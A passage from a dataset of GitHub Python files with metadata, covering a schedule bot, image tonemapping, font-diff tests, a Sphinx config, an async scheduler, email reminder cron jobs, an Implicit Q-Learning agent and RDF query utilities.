'v4', http=creds.authorize(Http()))\n sheet = service.spreadsheets()\n result = sheet.values().get(spreadsheetId=SPREADSHEET_ID, range=RANGE_NAME).execute()\n values = result.get('values',[])\n for day in values:\n\n if day[0] == date:\n main(day[1])\n #print (day[1])\n \n else:\n pass\n\"\"\"\n \nif __name__ == '__main__':\n date = strftime(\"%j\",localtime())\n\n date = date.lstrip(\"0\")\n print(date)\n main(\"a\")\n #whatDayIsIt()\n", "repo_name": "KimYoungMuri/Schedulebot-", "sub_path": "Sean.py", "file_name": "Sean.py", "file_ext": "py", "file_size_in_byte": 3811, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "oauth2client.file.Storage", "line_number": 34, "usage_type": "call"}, {"api_name": "oauth2client.file", "line_number": 34, "usage_type": "name"}, {"api_name": "oauth2client.client.flow_from_clientsecrets", "line_number": 37, "usage_type": "call"}, {"api_name": "oauth2client.client", "line_number": 37, "usage_type": "name"}, {"api_name": "oauth2client.tools.run_flow", "line_number": 38, "usage_type": "call"}, {"api_name": "oauth2client.tools", "line_number": 38, "usage_type": "name"}, {"api_name": "googleapiclient.discovery.build", "line_number": 39, "usage_type": "call"}, {"api_name": "httplib2.Http", "line_number": 39, "usage_type": "call"}, {"api_name": "email.mime.text", "line_number": 46, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 47, "usage_type": "call"}, {"api_name": "email.mime.text", "line_number": 48, "usage_type": "name"}, {"api_name": "email.mime.text", "line_number": 49, "usage_type": "name"}, {"api_name": "smtplib.SMTP", "line_number": 50, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 54, "usage_type": "call"}, {"api_name": "email.mime.text", "line_number": 54, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 61, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 91, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 91, "usage_type": "call"}]} +{"seq_id": "15181216938", "text": "from DataPreprocess.ProcessEXR import *\nfrom DataPreprocess.WarpUtils import *\nimport cv2\nimport imageio as im\n\n\ntonemap_drago = cv2.createTonemapDrago(2.2, 0.5)\ndef new_exr2jpg(hdr_file_name, full_jpg_name):\n exr_data = exr2array(hdr_dataset_dir+hdr_file_name)\n im.imwrite(hdr_dataset_hdrformat_dir+hdr_file_name.replace(\".exr\", \".hdr\"), exr_data, format='hdr')\n hdr_data = cv2.imread(hdr_dataset_hdrformat_dir+hdr_file_name.replace(\".exr\", \".hdr\"), cv2.IMREAD_ANYDEPTH)\n ldrDurand = tonemap_drago.process(hdr_data)\n ldr_8bit = np.clip(ldrDurand*255, 0, 255).astype('uint8')\n cv2.imwrite(full_jpg_name, ldr_8bit)\n\n\nif __name__ == '__main__':\n pfm_files = [f for f in listdir(depth_files_dir) if isfile(join(depth_files_dir, f)) and f.endswith(\".pfm\")]\n for file in pfm_files:\n print(file)\n new_exr2jpg(file.replace(\"-depth.pfm\", \".exr\"), fusion_hdr_jpgs_dir+file.replace(\"-depth.pfm\", \".jpg\"))\n", "repo_name": "WinterCyan/Gardner2019", "sub_path": "DataPreprocess/playground.py", "file_name": "playground.py", "file_ext": "py", "file_size_in_byte": 933, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 23, "dataset": "github-code", "pt": "16", "api": [{"api_name": "cv2.createTonemapDrago", "line_number": 7, "usage_type": "call"}, {"api_name": "imageio.imwrite", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.IMREAD_ANYDEPTH", "line_number": 11, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "12874348074", "text": "import re\nimport shutil\n\nimport pytest\n\nfrom east_asian_spacing import Dump\nfrom east_asian_spacing import Font\n\ndiff_params = [None]\nif shutil.which('diff'):\n diff_params.append('diff')\n\n\n@pytest.fixture(params=diff_params)\ndef diff_config(request):\n saved_diff = Dump._diff\n Dump._diff = request.param\n yield\n Dump._diff = saved_diff\n\n\n@pytest.mark.asyncio\nasync def test_diff(data_dir, diff_config):\n lines = await Dump.diff(data_dir / 'head.ttx',\n data_dir / 'head-modified.ttx')\n lines = list(lines)\n diffs = [line for line in lines if line[0] == '-' or line[0] == '+']\n assert len(diffs) == 4, ''.join(lines)\n\n\ndef test_has_diff_ttlib_version(data_dir):\n ignore = re.compile(r'`_.\n# \"\"\"\n\n# A string of reStructuredText that will be included at the end of every source file that is read.\n# This is the right place to add substitutions that should be available in every file:\nrst_epilog = \"\"\"\n.. |br| raw:: html\n\n
\n\n.. |nbsp| unicode:: 0xA0\n :trim:\n\n\"\"\"\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = [\"_templates\"]\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path.\nexclude_patterns = []\n\n\nautodoc_mock_imports = [\n \"bson\",\n \"cheroot\",\n \"couchdb\",\n \"jinja2\",\n \"mercurial\",\n \"MySQLdb\",\n \"pam\",\n \"pymongo\",\n \"redis\",\n \"win32net\",\n \"win32netcon\",\n \"win32security\",\n]\n\n# -- Options for HTML output -------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\n#\n# html_theme = \"alabaster\"\nhtml_theme = \"furo\"\n\n# if not on_rtd:\n# # only import and set the theme if we're building docs locally\n# # otherwise, readthedocs.org uses their theme by default, so no need to specify it\n# import sphinx_rtd_theme\n\n# html_theme = \"sphinx_rtd_theme\"\n# html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further. For a list of options available for each theme, see the\n# documentation.\nhtml_theme_options = {\n # See https://pradyunsg.me/furo/customisation/\n}\n\n# Add any paths that contain custom themes here, relative to this directory.\n#html_theme_path = []\n# html_theme = 'bootstrap'\n# html_theme_path = sphinx_bootstrap_theme.get_html_theme_path()\n\n# MyST Markdown Support\nmyst_enable_extensions = [\n \"dollarmath\",\n \"amsmath\",\n \"deflist\",\n \"fieldlist\",\n \"html_admonition\",\n \"html_image\",\n \"colon_fence\",\n \"smartquotes\",\n \"replacements\",\n \"linkify\",\n \"strikethrough\",\n \"substitution\",\n \"tasklist\",\n]\nmyst_number_code_blocks = [\"typescript\"]\nmyst_heading_anchors = 2\nmyst_footnote_transition = True\nmyst_dmath_double_inline = True\n\n# The name for this set of Sphinx documents. If None, it defaults to\n# \" v documentation\".\n#html_title = None\n\n# A shorter title for the navigation bar. Default is the same as html_title.\n#html_short_title = None\n\n# The name of an image file (relative to this directory) to place at the top\n# of the sidebar.\n# html_logo = 'logo.png'\n\n# The name of an image file (within the static path) to use as favicon of the\n# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\nhtml_favicon = 'favicon.ico'\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# Add any extra paths that contain custom files (such as robots.txt or\n# .htaccess) here, relative to this directory. These files are copied\n# directly to the root of the documentation.\n#html_extra_path = []\n\n# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,\n# using the given strftime format.\n#html_last_updated_fmt = '%b %d, %Y'\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\nhtml_use_smartypants = False\n\n# Custom sidebar templates, maps document names to template names.\n#html_sidebars = {}\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n#html_additional_pages = {}\n\n# If false, no module index is generated.\n#html_domain_indices = True\n\n# If false, no index is generated.\n#html_use_index = True\n\n# If true, the index is split into individual pages for each letter.\n#html_split_index = False\n\n# If true, links to the reST sources are added to the pages.\n#html_show_sourcelink = True\nhtml_show_sourcelink = False\n\n# If true, \"Created using Sphinx\" is shown in the HTML footer. Default is True.\n#html_show_sphinx = True\nhtml_show_sphinx = False\n\n# If true, \"(C) Copyright ...\" is shown in the HTML footer. Default is True.\nhtml_show_copyright = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a tag referring to it. The value of this option must be the\n# base URL from which the finished HTML is served.\n#html_use_opensearch = ''\n\n# This is the file name suffix for HTML files (e.g. \".xhtml\").\n#html_file_suffix = None\n\n# Language to be used for generating the HTML full-text search index.\n# Sphinx supports the following languages:\n# 'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'\n# 'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'\n#html_search_language = 'en'\n\n# A dictionary with options for the search language support, empty by default.\n# Now only 'ja' uses this config value\n#html_search_options = {'type': 'default'}\n\n# The name of a javascript file (relative to the configuration directory) that\n# implements a search results scorer. If empty, the default will be used.\n#html_search_scorer = 'scorer.js'\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'wsgidavdoc'\n\n\n# -- Extension configuration -------------------------------------------------\n\n# -- Options for intersphinx extension ---------------------------------------\n\n# Example configuration for intersphinx: refer to the Python standard library.\nintersphinx_mapping = {\n \"python\": (\"https://docs.python.org/3\", None),\n}\n\n# -- Options for todo extension ----------------------------------------------\n\n# If true, `todo` and `todoList` produce output, else they produce nothing.\ntodo_include_todos = True\n", "repo_name": "mar10/wsgidav", "sub_path": "docs/source/conf.py", "file_name": "conf.py", "file_ext": "py", "file_size_in_byte": 8470, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 748, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.abspath", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "sys.path.insert", "line_number": 18, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 20, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 20, "usage_type": "attribute"}, {"api_name": "importlib.metadata.metadata.version", "line_number": 37, "usage_type": "call"}, {"api_name": "importlib.metadata.metadata", "line_number": 37, "usage_type": "attribute"}, {"api_name": "importlib.metadata", "line_number": 37, "usage_type": "name"}, {"api_name": "importlib.metadata.metadata", "line_number": 38, "usage_type": "attribute"}, {"api_name": "importlib.metadata", "line_number": 38, "usage_type": "name"}, {"api_name": "sys.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 46, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 48, "usage_type": "call"}, {"api_name": "importlib.metadata.metadata", "line_number": 50, "usage_type": "attribute"}, {"api_name": "importlib.metadata", "line_number": 50, "usage_type": "name"}]} +{"seq_id": "1807233557", "text": "# async libs\nimport asyncio\nimport threading\nfrom aiohttp import ClientSession\n\n# normal libs\nimport time\nimport logging\n\nasync def get(url):\n async with ClientSession() as session:\n async with session.get(url) as response:\n return await response.json()\n\nasync def schedule(url, interval, callback, conn, thread=None):\n start = time.time()\n response = await asyncio.ensure_future(get(url))\n\n if thread is not None and thread.is_alive():\n with open('error.txt', 'a') as f:\n f.write('Overlapping thread. Joining main thread and waiting until completion.')\n thread.join()\n\n thread = threading.Thread(target=callback, args=(conn,response,))\n thread.start()\n\n end = time.time()\n await asyncio.sleep(interval-(end-start))\n return thread\n\nasync def scheduler(url, interval, callback, conn):\n # set up logging\n logging.basicConfig(filename='error.log')\n logger = logging.getLogger(__name__)\n\n thread = None\n print('Starting scheduler')\n while True:\n try:\n thread = await schedule(url, interval, callback, conn, thread)\n except Exception:\n logger.exception('Fatal error in main loop. Restarting after 5 seconds')\n await asyncio.sleep(5)\n", "repo_name": "samgriesemer/templates", "sub_path": "python/scheduler_archive/scheduling.py", "file_name": "scheduling.py", "file_ext": "py", "file_size_in_byte": 1183, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "aiohttp.ClientSession", "line_number": 11, "usage_type": "call"}, {"api_name": "time.time", "line_number": 16, "usage_type": "call"}, {"api_name": "asyncio.ensure_future", "line_number": 17, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 24, "usage_type": "call"}, {"api_name": "time.time", "line_number": 27, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 28, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 33, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 34, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 43, "usage_type": "call"}]} +{"seq_id": "12133379696", "text": "from datetime import datetime\nimport sys\n\nfrom dotenv import load_dotenv\nimport pytz\nimport sqlalchemy as sa\n\nfrom emails import *\nfrom models import *\nfrom utils import *\n\nload_dotenv()\nEMAIL_PW = os.environ[\"EMAIL_PW\"]\nBATCH_SIZE = 50\n\n\"\"\"\nThese two methods are designed to be run once a day at 9am.\n\"\"\"\n\n\ndef send_overdue_email(test_email=None):\n header = f\"Subject: {OVERDUE_SUBJECT}\\n\\n\"\n message = header + OVERDUE_MESSAGE\n to = []\n\n if test_email:\n print(f\"Sending test overdue email to {test_email}\")\n send_email(\n [test_email],\n message,\n EMAIL_PW,\n )\n return\n\n config = Config.query.first()\n due_date = timezone(\"US/Eastern\").localize(config.due_date)\n diff = datetime.now(tz=pytz.timezone(\"US/Eastern\")) - due_date\n if diff.days != 0:\n print(\"Skipped sending overdue emails\")\n return\n\n print(\"Sending overdue emails\")\n\n users = db.query(User).filter(User.entry == sa.null())\n for user in users:\n to.append(user.email)\n\n for i in range(0, len(to), BATCH_SIZE):\n batch_to = to[i : i + BATCH_SIZE]\n print(f\"Emailing {batch_to}\")\n send_email(\n batch_to,\n message,\n EMAIL_PW,\n )\n\n log_email(users, \"overdue\")\n print(\"Sent overdue emails\")\n\n\ndef send_reminder_email(test_email=None):\n header = f\"Subject: {REMINDER_SUBJECT}\\n\\n\"\n message = header + REMINDER_MESSAGE\n to = []\n\n if test_email:\n print(f\"Sending test reminder email to {test_email}\")\n send_email(\n [test_email],\n message,\n EMAIL_PW,\n )\n return\n\n config = Config.query.first()\n due_date = timezone(\"US/Eastern\").localize(config.due_date)\n diff = due_date - datetime.now(tz=pytz.timezone(\"US/Eastern\"))\n if diff.days != 1:\n print(\"Skipped sending reminder emails\")\n return\n\n print(\"Sending reminder emails\")\n\n users = User.query.all()\n for user in users:\n to.append(user.email)\n\n for i in range(0, len(to), BATCH_SIZE):\n batch_to = to[i : i + BATCH_SIZE]\n print(f\"Emailing {batch_to}\")\n send_email(\n batch_to,\n message,\n EMAIL_PW,\n )\n\n log_email(users, \"reminder\")\n print(\"Send reminder emails\")\n\n\nif __name__ == \"__main__\":\n # Add a test email address after python cron.py\n # $ python cron.py nicholaspad@princeton.edu\n test_email_address = sys.argv[1] if len(sys.argv) == 2 else None\n\n send_reminder_email(test_email_address)\n send_overdue_email(test_email_address)\n", "repo_name": "nicholaspad/ProjectFinder", "sub_path": "cron.py", "file_name": "cron.py", "file_ext": "py", "file_size_in_byte": 2619, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 37, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 37, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 37, "usage_type": "call"}, {"api_name": "sqlalchemy.null", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 77, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 77, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 77, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 104, "usage_type": "attribute"}]} +{"seq_id": "41167749334", "text": "import torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.distributions import Normal\nimport gym\nimport d4rl\nimport numpy as np\nfrom torch.utils.tensorboard import SummaryWriter\nfrom tqdm import tqdm\n\nwriter = SummaryWriter()\n\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\nprint(f'Training with {device}')\n\nclass IQLAgent:\n def __init__(self, args):\n # meta data and env\n self.env_name = args.env_name\n self.env = gym.make(self.env_name)\n self.action_dim = self.env.action_space.shape[0]\n self.obs_dim = self.env.observation_space.shape[0]\n self.max_action = torch.from_numpy(self.env.action_space.high).to(device)\n\n # get dataset\n self.dataset = self.init_datset()\n \n # network initialization \n self.hidden_dim = args.hidden_dim\n self.Q_net = DoubleQ(input_dim=self.action_dim + self.obs_dim, output_dim=1, hidden_dim=self.hidden_dim).to(device)\n self.target_Q_net = DoubleQ(input_dim=self.action_dim + self.obs_dim, output_dim=1, hidden_dim=self.hidden_dim).to(device)\n self.hard_update(self.Q_net, self.target_Q_net)\n\n self.V_net = MLP(input_dim=self.obs_dim, output_dim=1, hidden_dim=self.hidden_dim).to(device)\n\n self.actor = Actor(obs_dim=self.obs_dim, action_dim=self.action_dim, hidden_dim=self.hidden_dim, max_action=self.max_action).to(device)\n\n # hyperparameters\n self.batch_size = args.batch_size\n self.gradient_step = args.gradient_step\n self.learning_rate = args.learning_rate\n self.gamma = args.discount_factor\n self.tau = args.tau # expectile\n self.alpha = args.alpha # soft update coefs\n self.beta = args.beta # actor temp\n self.max_adv = args.max_adv\n\n # loss function and optimizer\n self.Q_optim = optim.Adam(params=self.Q_net.parameters(), lr=self.learning_rate)\n self.V_optim = optim.Adam(params=self.V_net.parameters(), lr=self.learning_rate)\n self.actor_optim = optim.Adam(params=self.actor.parameters(), lr=self.learning_rate)\n self.expectile_loss = expectile_loss\n self.mse_loss = nn.MSELoss()\n\n\n # evaluation\n self.eval_episode = args.eval_episode\n self.normalize_score = args.normalize_score\n self.write_file = args.write_file\n\n \n def train(self):\n self.TD_learning() # TD learning\n self.AWR() # advantage weighted regression\n\n\n def get_batch_data(self):\n indices = np.random.randint(len(self.dataset['observations']), size=self.batch_size)\n observations = self.dataset['observations'][indices]\n actions = self.dataset['actions'][indices]\n rewards = self.dataset['rewards'][indices]\n next_observations = self.dataset['next_observations'][indices]\n terminals = self.dataset['terminals'][indices]\n\n observations, actions, rewards, next_observations, terminals = map(lambda x: torch.from_numpy(x).to(device), (observations, actions, rewards, next_observations, terminals))\n\n return observations, actions, rewards, next_observations, terminals\n\n\n def TD_learning(self):\n for i in tqdm(range(self.gradient_step), desc='TD learning'):\n observations, actions, rewards, next_observations, terminals = self.get_batch_data()\n\n # update value network\n target = torch.min(*self.target_Q_net(torch.cat((observations, actions), dim=1))).detach()\n state_value = self.V_net(observations)\n value_loss = self.expectile_loss(input=state_value, target=target, tau=self.tau)\n\n self.V_optim.zero_grad()\n value_loss.backward()\n self.V_optim.step()\n\n # update action value network\n target = rewards + self.gamma * (1 - terminals) * self.V_net(next_observations).squeeze()\n q1, q2 = self.Q_net(torch.cat((observations, actions), dim=1))\n q1 = q1.flatten()\n q2 = q2.flatten()\n q_loss = self.mse_loss(target.detach(), q1) + self.mse_loss(target.detach(), q2)\n\n self.Q_optim.zero_grad()\n q_loss.backward()\n self.Q_optim.step()\n\n # update target network\n self.soft_update(self.Q_net, self.target_Q_net, self.alpha)\n writer.add_scalar('Value Loss', value_loss, i)\n writer.add_scalar('Q Loss', q_loss, i)\n\n \n def AWR(self):\n for i in tqdm(range(self.gradient_step), desc='extracting policy'):\n # caluate expoentiated advantage \n observations, actions, _, _, _ = self.get_batch_data()\n adv = torch.min(*self.target_Q_net(torch.cat((observations, actions), dim=1))) - self.V_net(observations)\n \n adv_weight = torch.clip(torch.exp(self.beta * (adv)), max=self.max_adv).detach()\n\n # get log prob from policy\n action_log_prob = self.actor.log_prob(actions, observations)\n \n # calculate loss and update actor\n actor_loss = (-adv_weight * action_log_prob).mean()\n self.actor_optim.zero_grad()\n actor_loss.backward()\n self.actor_optim.step()\n\n writer.add_scalar('Actor Loss', actor_loss, i) \n\n\n def init_datset(self): \n dataset = self.env.get_dataset()\n dataset = d4rl.qlearning_dataset(self.env)\n dataset['terminals'] = dataset['terminals'].astype(np.int64)\n\n print(f'Dataset size({self.env_name}): {len(dataset[\"observations\"])}')\n return dataset\n \n \n def evaluate(self):\n ori_scores = []\n normalized_scores = [] \n for _ in tqdm(range(self.eval_episode), desc='evaluating'):\n obs = self.env.reset()\n score = 0\n while True:\n with torch.no_grad():\n action = self.actor.sample(obs)\n obs, reward, terminated, _ = self.env.step(action)\n score += reward\n \n if terminated:\n break\n\n \n ori_scores.append(score)\n normalized_scores.append(self.env.get_normalized_score(score))\n\n print(f'average normalized score: {np.mean(normalized_scores)}')\n\n with open(self.write_file, 'a') as f:\n f.write(f'{self.env_name},{np.mean(ori_scores)},{np.mean(normalized_scores)}\\n')\n \n\n def hard_update(self, src, target):\n for src_param, target_param in zip(src.parameters(), target.parameters()):\n target_param.data.copy_(src_param)\n\n\n def soft_update(self, src, target, alpha):\n for src_param, target_param in zip(src.parameters(), target.parameters()):\n target_param.data.copy_((1 - alpha) * target_param + alpha * src_param)\n \n\nclass MLP(nn.Module):\n def __init__(self, input_dim, output_dim, hidden_dim):\n super().__init__()\n self.network = nn.Sequential(\n nn.Linear(input_dim, hidden_dim),\n nn.ReLU(),\n nn.Linear(hidden_dim, output_dim)\n )\n\n\n def forward(self, x):\n return self.network(x)\n \n\nclass DoubleQ(nn.Module):\n def __init__(self, input_dim, output_dim, hidden_dim):\n super().__init__()\n self.q1 = MLP(input_dim, output_dim, hidden_dim)\n self.q2 = MLP(input_dim, output_dim, hidden_dim)\n\n \n def forward(self, x):\n return self.q1(x), self.q2(x)\n\n\nclass Actor(nn.Module):\n def __init__(self, obs_dim, action_dim, hidden_dim, max_action):\n super().__init__()\n self.max_action = max_action\n\n self.header = nn.Sequential(\n nn.Linear(obs_dim, hidden_dim),\n nn.ReLU(),\n )\n\n self.mean = nn.Linear(hidden_dim, action_dim)\n self.log_std = nn.Linear(hidden_dim, action_dim)\n \n\n def forward(self, x):\n x = self.header(x)\n means = torch.tanh(self.mean(x)) * self.max_action\n stds = torch.exp(self.log_std(x)) # this trick keeps std always > 0\n\n return means, stds\n \n\n def log_prob(self, actions, observations):\n means, stds = self.forward(observations)\n normal = Normal(means, stds)\n return normal.log_prob(actions)\n \n \n def sample(self, obs, deterministic=True):\n obs = torch.from_numpy(obs).float().to(device)\n mean, std = self.forward(obs)\n if deterministic:\n return mean.cpu().detach().numpy()\n\n\ndef expectile_loss(input, target, tau):\n input = input.flatten()\n target = target.flatten()\n assert input.shape == target.shape, f'The shape of input and target is inconsisten. Input with shape {input.shape}, target with shape {target.shape}' \n\n tau = torch.ones(size=input.shape).to(device) * tau \n asymmtric_coef = torch.abs((tau - torch.gt(input, target).type(torch.LongTensor).to(device))).detach()\n\n return torch.mean(asymmtric_coef * ((input - target) ** 2))", "repo_name": "b06b01073/Implicit-Q-Learning", "sub_path": "IQLAgent.py", "file_name": "IQLAgent.py", "file_ext": "py", "file_size_in_byte": 8898, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.utils.tensorboard.SummaryWriter", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 13, "usage_type": "attribute"}, {"api_name": "gym.make", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 50, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 51, "usage_type": "name"}, {"api_name": "torch.nn.MSELoss", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 53, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 68, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 75, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.min", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 95, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.min", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.clip", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 116, "usage_type": "call"}, {"api_name": "d4rl.qlearning_dataset", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 133, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 142, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 161, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 174, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 174, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 177, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 177, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 178, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 179, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 180, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 188, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 188, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 199, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 199, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 204, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 204, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 205, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 205, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 206, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 206, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 209, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 210, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 210, "usage_type": "name"}, {"api_name": "torch.tanh", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 216, "usage_type": "call"}, {"api_name": "torch.distributions.Normal", "line_number": 223, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 228, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 239, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 240, "usage_type": "call"}, {"api_name": "torch.gt", "line_number": 240, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 240, "usage_type": "attribute"}, {"api_name": "torch.mean", "line_number": 242, "usage_type": "call"}]} +{"seq_id": "73391615689", "text": "from textwrap import dedent\n\nfrom tuna.utils import (NAMESPACES, truncate, transform,\n remove_matching_namespace)\n\nPREFIX_TEXT = '\\n'.join(\n 'prefix {}:<{}>'.format(key, value)\n for key, value in NAMESPACES.iteritems())\n\n\nclass EntityNotFound(Exception):\n pass\n\n\ndef prepare_query(query):\n \"\"\"\n add the namespace text to the front of the query\n :param query: Sparql query without namespace declarations\n :return Sparql query with namespace declarations on top\n \"\"\"\n query = dedent(query.strip())\n\n if PREFIX_TEXT not in query:\n query = PREFIX_TEXT + '\\n' + query\n\n if type(query) == unicode:\n query = query.encode('utf-8')\n\n return query\n\n\ndef to_dict(graph, entity, ns_to_strip=()):\n \"\"\"\n convert an rdf graph to a dictionary from the view point of one entity\n :param graph: a rdflib.Graph object\n :param node: a URIRef object\n :param ns_to_strip: a tuple of namespaces to be stripped\n \"\"\"\n subjects = []\n predicates = []\n objects = []\n for s, p, o in graph:\n if o == entity:\n continue\n subjects.append(s)\n predicates.append(p)\n objects.append(o)\n if entity not in subjects:\n raise EntityNotFound('cannot find entity {}'.format(entity))\n attributes = set(subjects).intersection(objects)\n\n sub_entities = {}\n for attr in attributes:\n for p, o in graph.predicate_objects(subject=attr):\n try:\n graph.predicates(object=attr, subject=o).next()\n except StopIteration:\n # only add if s and o are not forming a circle\n sub_entities.setdefault(attr, {}).setdefault(p, []).append(o)\n\n for vl in sub_entities.values():\n for v in vl.values():\n for i, k in enumerate(v):\n if k in sub_entities:\n v[i] = sub_entities[k]\n truncate(vl)\n\n result = {}\n for p, o in graph.predicate_objects(subject=entity):\n result.setdefault(p, []).append(sub_entities.get(o, o))\n truncate(result)\n\n result = transform(\n lambda d: remove_matching_namespace(d, ns_to_strip), result)\n return result\n", "repo_name": "cliffxuan/tripleviz", "sub_path": "tuna/query.py", "file_name": "query.py", "file_ext": "py", "file_size_in_byte": 2188, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "tuna.utils.NAMESPACES.iteritems", "line_number": 8, "usage_type": "call"}, {"api_name": "tuna.utils.NAMESPACES", "line_number": 8, "usage_type": "name"}, {"api_name": "textwrap.dedent", "line_number": 21, "usage_type": "call"}, {"api_name": "tuna.utils.truncate", "line_number": 66, "usage_type": 